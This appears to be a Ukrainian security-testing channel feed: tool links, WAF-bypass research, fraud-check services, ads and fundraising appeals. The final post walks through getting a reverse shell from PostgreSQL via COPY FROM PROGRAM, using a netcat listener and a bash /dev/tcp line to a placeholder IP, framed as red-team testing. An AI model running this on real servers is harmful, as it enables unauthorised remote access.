ми почали

https://youtube.com/live/F4T33ODZ_as?feature=share

Cloudmare — це простий інструмент для пошуку серверів, захищених Cloudflare, Sucuri або Incapsula, з неправильно налаштованим DNS.

Просто підключити Cloudflare до вашого сайта цього не достатньо, треба ще ретельно доналаштувати його, щоб не було ось такого як на скріні. Вже перевірив деякі сайти де розміщений захист і знайшов багато цікавих сабдоменів і їх реальні IP, треба доналаштовувати.

https://github.com/mrh0wl/Cloudmare

1500 тестувальників вже заповнили зарплатне дослідження 🔥

А взимку було майже 2400 анкет. Нумо ще піднатиснемо 👉 https://dou.ua/goto/9cyd

Більше відповідей – якісніша аналітика. А ще, зможемо подивитись, чи продовжують знижуватись зарплати у Automation QA 😉

Nettacker

Це платформа автоматизованого тестування на проникнення - сканер уразливостей з відкритим вихідним кодом - управління вразливістю.

Виявляє сервіси та пристрої (SCADA, зони обмеженого доступу, маршрутизатори, HTTP-сервери, логіни та автентифікації, неіндексований HTTP, системи Paradox, камери, брандмауери, UTM, веб-пошти, VPN, RDP, SSH, FTP, сервіси TELNET, проксі-сервери та багато інших пристроїв, таких як Juniper, Cisco, комутатори та багато іншого)

https://github.com/OWASP/Nettacker

«Хтось має виростати у мідлів, а шлях туди стає складнішим». Як штучний інтелект змінює роботу початківців у QA

Щоб з’ясувати, як ШІ впливає на роботу початківців в ІТ, DOU запускає нову рубрику — «ШІ vs Джуніори». У першому випуску досліджуємо QA-напрям.

Чи конкурує ШІ з джуніорами в QA? Як розвиток штучного інтелекту впливає на пошук початківців у компанії? З якими завданнями джунів він точно не впорається? Джуніор + ШІ — чи погано це для компанії? Щоб відповісти на ці запитання, ми поспілкувалися з досвідченими QA-фахівцями.

Серед них:

Олександр Хотемський, Engeneering manager та QA practice lead в Doxyme;
Олексій Остапов, AQA Engineer в nCube;
Олег Грудко, QA manager в Omilia Conversational Solutions;
Свят Логин, Head of Engineering Excellence & Quality в EVO;
Геннадій Міщевський, колишній Lead SDET у FutureLog.

https://dou.ua/lenta/articles/how-ai-changes-qa-junior-work/

У мене сьогодні день народження, але я сумний, бо мене ніхто не привітав з ним.

Тому, якщо ти хочеш підняти мені настрій - доєднюйся до поздоровлень на дружню банку DOU https://send.monobank.ua/jar/CiwmrbVxz

А ще ти автоматом береш участь в розіграші призів від dou https://dou.ua/triyka/

З допомогою ваших привітань я перестав сумувати, так як ми зібрали 20000 грн, тому у мене зʼявилась наснага знову єбошити, а всі ваші донати підуть на збір від ДОУ для 3бої штурмової бригади.

Тому, я міняю картинку з сумного мене на єбошира, а якщо збір дойде до 30000 грн, то зміню її на веселого мене.

Доєднюйся до поздоровлень на дружню банку DOU https://send.monobank.ua/jar/CiwmrbVxz

Дякую ВАМ!

Party Hard #10 вже зовсім скоро!
До найкулуарнішої конференції лишилося трохи більше місяця, тож саме час нагадати:

🎟️ Квитки ще доступні!
Не пропусти шанс провести день (а то й весь уїк-енд) у колі крутої спільноти — буде корисно, весело і надихаюче!
(Так, ми не забули про Preparty та недільний сніданок, тому зможемо провести разом не тільки день конференції 🤫)

⏰ А ще — встигни до кінця дня (до 23:59), щоб забрати квиток за ранньою ціною.
Потім буде дорожче — сам знаєш, як це буває 😌

https://secure.wayforpay.com/payment/party_hard_10


Ми тим часом активно готуємося, і вже не можемо дочекатися нашої зустрічі☺️

Cервіси для перевірки шахраїв.

Prom check - перевірка приналежності сайта до платформи prom.ua, щоб не потрапити на фішерів. Вказуйте лінк на сайт.

Privatbank Check, Сheck.gov - для перевірки справжності квитанцій про оплату. Перший для Приватбанку, другий для Моно, А-банк тощо. Вказуємо номер квитанції.

ЄДЕБО - державний реєстр для перевірки справжності документів про освіту. Вводите серію та номер диплому і отримуєте інформацію про його дійсність чи ні. Працює зі всіма документами, виданими після 2000-ного року.

Перевірка недійсних документів від ДМСУ - перевіряйте, чи не викраденим паспортом користується особа при укладенні договору тощо.

Wanted MVS - відкриті бази розшуку від МВС. Перевіряйте, чи не внесений телефон або транспортний засіб, який ви маєте бажання придбати до бази викрадених або втрачених.

Перевірка свого ІПН - перевіряйте справжність індивідуального податкового номеру (РНОКПП). Якщо номер дійсний, сервіс показує дані про дату народження і стать.

Судова влада - перевіряйте, чи має особа судові провадження, в тому числі штрафи, цивільні та кримінальні справи. Також можете перевіряти адвокатів, яких результатів у судах вони добивалися для своїх клієнтів.

Реєстр виконавчих проваджень - перевіряйте, чи присутні у особи будь-які борги (відкриті виконавчі провадження).

Whois - надає інформацію про сайт. Перевіряйте, чи не фішинговим є сайт, за яким ви перейшли.

X-ray contact - перевірка за номером телефону. Знаходить пов'язані номери, перевіряє Getcontact та соціальні мережі.

YouControl, OpenDatabot - автоматизована перевірка бізнесу, ФОП, транспортних засобів за ДНЗ та VIN-кодом.

Обхід WAF із використанням фантомного файлу cookie $Version

HTTP‑кукі часто контролюють надважливі функції вебсайтів, але завдяки їхній довгій та заплутаній історії, парсери кукій мають уразливості.

Перша частина
https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie

Друга частина
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

Script kiddie

Короткий огляд інструментів для взлому та як базово можна їх використовувати при тестуванні на безпеку. А головне - українською мовою.

https://www.youtube.com/playlist?list=PLQ-w8CQDSqFBsH_fm34QmFv-iWY0e2AWQ

Huggingface

Цей інструмент в декілька кліків і в ріал таймі замінює емоції людини на фото.

Досить гнучкі та точечні налаштування. Все поділено на три категорії:
- голова,
- очі
- та рот.

До кожної категорії свої регулятори, наприклад (брови, моргання, посмішка, поворот/нахил голови тощо).

https://huggingface.co/spaces/fffiloni/expression-editor

Кожна гривня — це крок до Перемоги.

Сьогодні зранку ми майже всі не спали і прокинулись не від співу птахів, а від вибухів. Росія завдала одну з наймасовішої атаки за останній час — дим накрив столицю. Це не просто війна на фронті — це щоденний терор по наших будинках, лікарнях, дитячих садках.

Наші захисники стоять між нами та злом. Вони віддають усе, щоб ми могли жити, працювати, обіймати близьких. Але їм потрібна наша підтримка — зараз, як ніколи.

Долучайтесь до збору від ДОУ, взяв на себе трошки допомогти ім зібрати суму на допомогу.

Допоможи ЗСУ — зроби свій внесок у свободу.

Ось дружня банка від мене до ДОУ
https://send.monobank.ua/jar/CiwmrbVxz

‼️ Допоможімо зібрати 500 000 грн для Геннадія Міщевського

Геннадій — активний учасник спільноти DOU, лауреат Премії DOU, лідер команди тестувальників FPV-дронів у Social Drone UA, а нині — військовослужбовець, який боронить Україну на фронті.

Збір коштів триває на бойовий бус для перевезення комплексу, що допомагає виконувати бойові завдання.
Підтримати можна за посиланням 💸

Картка: 4441 1111 2585 4863
PayPal: g.mishchevskii@gmail.com
Більше інформації про збір тут 👉🏻 https://dou.ua/goto/9VRS

До речі, саме Геннадій — автор найпопулярнішого топіка на DOU про фундаментальну теорію тестування! Тому, якщо матеріал був для вас корисним — підтримайте Геннадія донатом.

Цікавий ресурс аналізу безпеки вашого JWT. Можна не лише розпарсити як то у jwt.io але і зразу проаналізувати.
Звісно, що даний ресурс не всі методи перевірки покриває, але в частині використанням алгоритмів і деяких інших притаманних JWT особливостей місця підсвічує.
https://jwtlens.netlify.app/

📲 Мобільні застосунки стали головною точкою контакту з користувачами — саме тому їхня якість і стабільність напряму впливають на прибуток бізнесу, довіру до бренду та досвід користувача.

Опануйте повний цикл перевірки мобільного продукту від ручного до автоматизованого тестування — на курсі «Тестування мобільних застосунків» від r_d.

Після 18 занять ви:
➔ набудете практичних навичок тестування iOS- та Android-застосунків
➔ тестуватимете API, виявлятимете помилки й оптимізуватимете сценарії
➔ автоматизуєте перевірки за допомогою фреймворків
➔ перевірятимете застосунки на сумісність, продуктивність і безпеку

Лектор — Євген Вавілов, QA Lead у Petcube, який має понад 9 років досвіду в тестуванні: працював в аутсорсі, аутстафі та продуктових компаніях.

Старт: 23 липня

Деталі, програма та реєстрація ⬅️

🌴Summer Sale в robot_dreams — придбайте будь-який онлайн-курс до 15 липня і обирайте ще один курс у записі безкоштовно.

📣 IT Research Ukraine 2025 триває — приєднуйся!

Це найбільше щорічне дослідження української техіндустрії. Ми аналізуємо розвиток, динаміку та зміни ІТ-галузі, міграційні настрої, доходи, виклики — і для цього важливий саме твій досвід та 10 хвилин на анонімне опитування 💛

В подяку за твій час після заповнення анкети відкриється PDF-файл з промокодами 📩

Що ти отримаєш за участь? 🎁
👉 Ексклюзивні знижки від брендів-партнерів IT Club Loyalty
👉 Розіграш 5 квитків на IT Arena 2025 - вже 11 липня
👉 Знижка на персональну юридичну консультацію для фізособи

Долучайся за посиланням — твоя участь справді важлива!

📂 Публічний звіт з результатами дослідження буде доступний у листопаді 2025 року на сайті Львівського ІТ Кластера.

Якщо ви працюєте з PostgreSQL, можете спробувати себе частково в ролі Red Team.
Для цього вам потрібен користувач із правами pg_execute_server_program.
І так, підключаємось до бази:

psql -h hostname/ip -p 6543 -U username -d database 

Перевірямо наявність у поточного користувача потрібних прав або наявність таких користувачів у базі:

SELECT rolname
FROM pg_roles
WHERE pg_has_role(rolname, 'pg_execute_server_program', 'member');

або

SELECT has_role(current_user, 'pg_execute_server_program', 'member');

Якщо ваш користувач присутній у списку - можна переходити до наступного етапу.
Піднімаємо listener (слухача) на хості, що знаходиться в тій самій мережі, що і база даних, або на іншому, якщо дозволяє мережеве оточення:

nc -lvnp 4444

Далі запускаємо команду у PostgreSQL:

COPY poc_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"';

Якщо налаштування прав користувачів у PostgreSQL не обмежують використання COPY FROM PROGRAM або загалом права занадто широкі - ви отримаєте reverse shell від імені того користувача, під яким працює служба PostgreSQL.